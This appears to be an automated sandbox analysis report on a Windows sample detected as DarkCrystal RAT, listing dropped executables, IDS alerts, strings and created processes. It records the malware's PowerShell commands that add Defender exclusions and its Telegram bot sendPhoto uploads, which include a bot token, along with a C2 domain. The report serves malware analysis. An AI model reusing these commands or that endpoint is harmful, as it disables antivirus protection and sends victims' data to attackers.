Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: 7C:\Users\user\AppData\Local\Temp\dj5thqfb\dj5thqfb.pdb source: VQdUvAQ4xO.exe, 00000000.00000002.1853838572.00000000031CB000.00000004.00000800.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49739 -> 104.21.95.93:80
Source: Network traffic	Suricata IDS: 1810009 - Severity 1 - Joe Security ANOMALY Telegram Send Photo : 192.168.2.4:49751 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810009 - Severity 1 - Joe Security ANOMALY Telegram Send Photo : 192.168.2.4:49733 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /country HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: POST /bot7770813070:AAGqpOsmZAapb-pBsZQmM7BGLhdVdYw-7FQ/sendPhoto HTTP/1.1Content-Type: multipart/form-data; boundary="313b427a-59e5-4849-a91a-75e00f68a976"Host: api.telegram.orgContent-Length: 82628Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /country HTTP/1.1Host: ipinfo.io
Source: global traffic	HTTP traffic detected: POST /bot7770813070:AAGqpOsmZAapb-pBsZQmM7BGLhdVdYw-7FQ/sendPhoto HTTP/1.1Content-Type: multipart/form-data; boundary="d905710a-4bb7-429f-999a-55dcd7e3e939"Host: api.telegram.orgContent-Length: 84854Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81
Source: Joe Sandbox View	IP Address: 34.117.59.81 34.117.59.81

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49749 -> 34.117.59.81:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49732 -> 34.117.59.81:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: 525833cm.nyashnyash.ru

Source: VQdUvAQ4xO.exe, 00000000.00000002.1853838572.0000000003315000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: svchost.exe, 0000001F.00000003.1986455209.000001EE46218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 0000001F.00000003.1986455209.000001EE46218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: qmgr.db.31.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.31.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 0000001F.00000003.1986455209.000001EE46218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000001F.00000003.1986455209.000001EE46218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000001F.00000003.1986455209.000001EE4624D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.31.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: VQdUvAQ4xO.exe, 00000000.00000002.1853838572.000000000324C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io
Source: powershell.exe, 00000004.00000002.3359158340.00000218E52E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3375021893.0000021B53196000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.3420318873.00000203E2456000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.3163423208.000001B610076000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.3422861033.000001EAE8F76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000D.00000002.1995438004.000001EAD9152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1984514028.00000218D549A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991340616.00000165E46F8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1976313448.0000021B43348000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1987379525.00000203D2609000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1968295093.000001B600228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1995438004.000001EAD9152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: VQdUvAQ4xO.exe, 00000000.00000002.1853838572.0000000002BD7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1984514028.00000218D5271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991340616.00000165E44D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1976313448.0000021B43121000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1987379525.00000203D23E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1968295093.000001B600001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1995438004.000001EAD8F01000.00000004.00000800.00020000.00000000.sdmp, tNOtXAG6xwxcUNu9tjBa.exe, 00000014.00000002.1941428206.0000000002A55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1984514028.00000218D549A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991340616.00000165E46F8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1976313448.0000021B43348000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1987379525.00000203D2609000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1968295093.000001B600228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1995438004.000001EAD9152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000D.00000002.1995438004.000001EAD9152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 4WuxfupWij.29.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000004.00000002.1984514028.00000218D5271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1991340616.00000165E44D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1976313448.0000021B43121000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1987379525.00000203D23E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1968295093.000001B600001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1995438004.000001EAD8F01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: VQdUvAQ4xO.exe, 00000000.00000002.1853838572.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: VQdUvAQ4xO.exe, 00000000.00000002.1853838572.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, VQdUvAQ4xO.exe, 00000000.00000002.1853676622.0000000002972000.00000002.00000001.01000000.00000000.sdmp, tNOtXAG6xwxcUNu9tjBa.exe, 00000014.00000002.1941428206.0000000002687000.00000004.00000800.00020000.00000000.sdmp, tNOtXAG6xwxcUNu9tjBa.exe, 00000014.00000002.1941428206.0000000002D90000.00000004.00000800.00020000.00000000.sdmp, tNOtXAG6xwxcUNu9tjBa.exe, 00000014.00000002.1941428206.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp, tNOtXAG6xwxcUNu9tjBa.exe, 00000014.00000002.1941428206.0000000002C47000.00000004.00000800.00020000.00000000.sdmp, eTZddqfc.log.20.dr	String found in binary or memory: https://api.telegram.org/bot
Source: VQdUvAQ4xO.exe, 00000000.00000002.1853838572.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7770813070:AAGqpOsmZAapb-pBsZQmM7BGLhdVdYw-7FQ/sendPhotoX
Source: 4WuxfupWij.29.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 4WuxfupWij.29.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 4WuxfupWij.29.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000000D.00000002.3422861033.000001EAE8F76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000D.00000002.3422861033.000001EAE8F76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000D.00000002.3422861033.000001EAE8F76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 4WuxfupWij.29.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 4WuxfupWij.29.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 4WuxfupWij.29.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: qmgr.db.31.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 0000001F.00000003.1986455209.000001EE46256000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: qmgr.db.31.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 0000001F.00000003.1986455209.000001EE462A3000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 0000000D.00000002.1995438004.000001EAD9152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: VQdUvAQ4xO.exe, 00000000.00000002.1853838572.0000000003271000.00000004.00000800.00020000.00000000.sdmp, VQdUvAQ4xO.exe, 00000000.00000002.1853838572.0000000003231000.00000004.00000800.00020000.00000000.sdmp, VQdUvAQ4xO.exe, 00000000.00000002.1853838572.0000000003247000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io
Source: VQdUvAQ4xO.exe, 00000000.00000002.1853676622.0000000002972000.00000002.00000001.01000000.00000000.sdmp, VQdUvAQ4xO.exe, 00000000.00000002.1853838572.0000000003231000.00000004.00000800.00020000.00000000.sdmp, tNOtXAG6xwxcUNu9tjBa.exe, 00000014.00000002.1941428206.0000000002687000.00000004.00000800.00020000.00000000.sdmp, tNOtXAG6xwxcUNu9tjBa.exe, 00000014.00000002.1941428206.0000000002D90000.00000004.00000800.00020000.00000000.sdmp, tNOtXAG6xwxcUNu9tjBa.exe, 00000014.00000002.1941428206.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp, tNOtXAG6xwxcUNu9tjBa.exe, 00000014.00000002.1941428206.0000000002C47000.00000004.00000800.00020000.00000000.sdmp, eTZddqfc.log.20.dr	String found in binary or memory: https://ipinfo.io/country
Source: VQdUvAQ4xO.exe, 00000000.00000002.1853676622.0000000002972000.00000002.00000001.01000000.00000000.sdmp, VQdUvAQ4xO.exe, 00000000.00000002.1853838572.0000000003231000.00000004.00000800.00020000.00000000.sdmp, tNOtXAG6xwxcUNu9tjBa.exe, 00000014.00000002.1941428206.0000000002687000.00000004.00000800.00020000.00000000.sdmp, tNOtXAG6xwxcUNu9tjBa.exe, 00000014.00000002.1941428206.0000000002D90000.00000004.00000800.00020000.00000000.sdmp, tNOtXAG6xwxcUNu9tjBa.exe, 00000014.00000002.1941428206.0000000002D7A000.00000004.00000800.00020000.00000000.sdmp, tNOtXAG6xwxcUNu9tjBa.exe, 00000014.00000002.1941428206.0000000002C47000.00000004.00000800.00020000.00000000.sdmp, eTZddqfc.log.20.dr	String found in binary or memory: https://ipinfo.io/ip
Source: powershell.exe, 00000004.00000002.3359158340.00000218E52E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3375021893.0000021B53196000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.3420318873.00000203E2456000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.3163423208.000001B610076000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.3422861033.000001EAE8F76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.31.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 0000001F.00000003.1986455209.000001EE46256000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: 4WuxfupWij.29.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 4WuxfupWij.29.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Windows\System32\r6Lr6XbTWt.exe	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Windows\System32\r6Lr6XbTWt.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	File created: C:\Windows\System32\0b28f23e034595	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSCA8FE6D7D9B7A4B07A0A2A3B7931FCBDF.TMP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Code function: 0_2_00007FFD9BAF1726	0_2_00007FFD9BAF1726
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Code function: 0_2_00007FFD9BAFF348	0_2_00007FFD9BAFF348
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Code function: 20_2_00007FFD9B6F0D48	20_2_00007FFD9B6F0D48
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Code function: 20_2_00007FFD9B6F0E43	20_2_00007FFD9B6F0E43
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 30_2_00007FFD9B741768	30_2_00007FFD9B741768
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 30_2_00007FFD9B710D48	30_2_00007FFD9B710D48
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 30_2_00007FFD9B710E43	30_2_00007FFD9B710E43
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 30_2_00007FFD9B720000	30_2_00007FFD9B720000
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 32_2_00007FFD9B710D48	32_2_00007FFD9B710D48
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 32_2_00007FFD9B710E43	32_2_00007FFD9B710E43
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 33_2_00007FFD9B700000	33_2_00007FFD9B700000
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 33_2_00007FFD9B6F0D48	33_2_00007FFD9B6F0D48
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 33_2_00007FFD9B6F0E43	33_2_00007FFD9B6F0E43
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 33_2_00007FFD9B72177C	33_2_00007FFD9B72177C
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Code function: 34_2_00007FFD9B6E0D48	34_2_00007FFD9B6E0D48
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Code function: 34_2_00007FFD9B6E0E43	34_2_00007FFD9B6E0E43
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	Code function: 35_2_00007FFD9B73170E	35_2_00007FFD9B73170E
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	Code function: 35_2_00007FFD9B710000	35_2_00007FFD9B710000
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Code function: 36_2_00007FFD9B71170E	36_2_00007FFD9B71170E
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Code function: 36_2_00007FFD9B6F0000	36_2_00007FFD9B6F0000
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Code function: 36_2_00007FFD9B6E0D48	36_2_00007FFD9B6E0D48
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Code function: 36_2_00007FFD9B6E0E43	36_2_00007FFD9B6E0E43
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Code function: 37_2_00007FFD9B700000	37_2_00007FFD9B700000
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Code function: 37_2_00007FFD9B6F0D48	37_2_00007FFD9B6F0D48
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Code function: 37_2_00007FFD9B6F0E43	37_2_00007FFD9B6F0E43
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Code function: 37_2_00007FFD9B72177C	37_2_00007FFD9B72177C
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 39_2_00007FFD9B710000	39_2_00007FFD9B710000
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Code function: 39_2_00007FFD9B73170E	39_2_00007FFD9B73170E
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 40_2_00007FFD9B6F0000	40_2_00007FFD9B6F0000
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 40_2_00007FFD9B71170E	40_2_00007FFD9B71170E
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 40_2_00007FFD9B6E0D48	40_2_00007FFD9B6E0D48
Source: C:\Recovery\0eDO5Zbs.exe	Code function: 40_2_00007FFD9B6E0E43	40_2_00007FFD9B6E0E43
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Code function: 41_2_00007FFD9B720000	41_2_00007FFD9B720000
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Code function: 41_2_00007FFD9B710D48	41_2_00007FFD9B710D48
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Code function: 41_2_00007FFD9B710E43	41_2_00007FFD9B710E43
Source: C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe	Code function: 41_2_00007FFD9B741768	41_2_00007FFD9B741768
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	Code function: 42_2_00007FFD9B720D48	42_2_00007FFD9B720D48
Source: C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe	Code function: 42_2_00007FFD9B720E43	42_2_00007FFD9B720E43

Source: VQdUvAQ4xO.exe, 00000000.00000000.1772742377.00000000005D2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs VQdUvAQ4xO.exe
Source: VQdUvAQ4xO.exe, 00000000.00000002.1853676622.0000000002972000.00000002.00000001.01000000.00000000.sdmp	Binary or memory string: OriginalFilenameBzUOsUELloh7lcyuhpXTcoPR5FGxF70O4 vs VQdUvAQ4xO.exe
Source: VQdUvAQ4xO.exe, 00000024.00000002.2486417871.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs VQdUvAQ4xO.exe
Source: VQdUvAQ4xO.exe, 00000024.00000002.2486417871.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs VQdUvAQ4xO.exe
Source: VQdUvAQ4xO.exe, 0000002B.00000002.3049829663.0000000003581000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs VQdUvAQ4xO.exe
Source: VQdUvAQ4xO.exe, 0000002B.00000002.3049829663.0000000003592000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs VQdUvAQ4xO.exe
Source: VQdUvAQ4xO.exe, 0000002B.00000002.3049829663.000000000364F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs VQdUvAQ4xO.exe
Source: VQdUvAQ4xO.exe	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs VQdUvAQ4xO.exe

Source: VQdUvAQ4xO.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: mENvqiIeFx.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 0eDO5Zbs.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: r6Lr6XbTWt.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: JOajDppbSkfqSPK1G9zAbH.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: VQdUvAQ4xO.exe, ovx7777NkOk92DBATbY.cs	Cryptographic APIs: 'CreateDecryptor'
Source: VQdUvAQ4xO.exe, ovx7777NkOk92DBATbY.cs	Cryptographic APIs: 'CreateDecryptor'
Source: VQdUvAQ4xO.exe, ovx7777NkOk92DBATbY.cs	Cryptographic APIs: 'CreateDecryptor'
Source: VQdUvAQ4xO.exe, ovx7777NkOk92DBATbY.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7644:120:WilError_03
Source: C:\Windows\System32\r6Lr6XbTWt.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3524:120:WilError_03
Source: C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-4J6ByaDz5UAU0y0XiBQ1
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8092:120:WilError_03

Source: unknown	Process created: C:\Users\user\Desktop\VQdUvAQ4xO.exe "C:\Users\user\Desktop\VQdUvAQ4xO.exe"
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj5thqfb\dj5thqfb.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6A2D.tmp" "c:\Windows\System32\CSCA8FE6D7D9B7A4B07A0A2A3B7931FCBDF.TMP"
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft\tNOtXAG6xwxcUNu9tjBa.exe'
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\System32\r6Lr6XbTWt.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\0eDO5Zbs.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\mENvqiIeFx.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VQdUvAQ4xO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Sidebar\JOajDppbSkfqSPK1G9zAbH.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
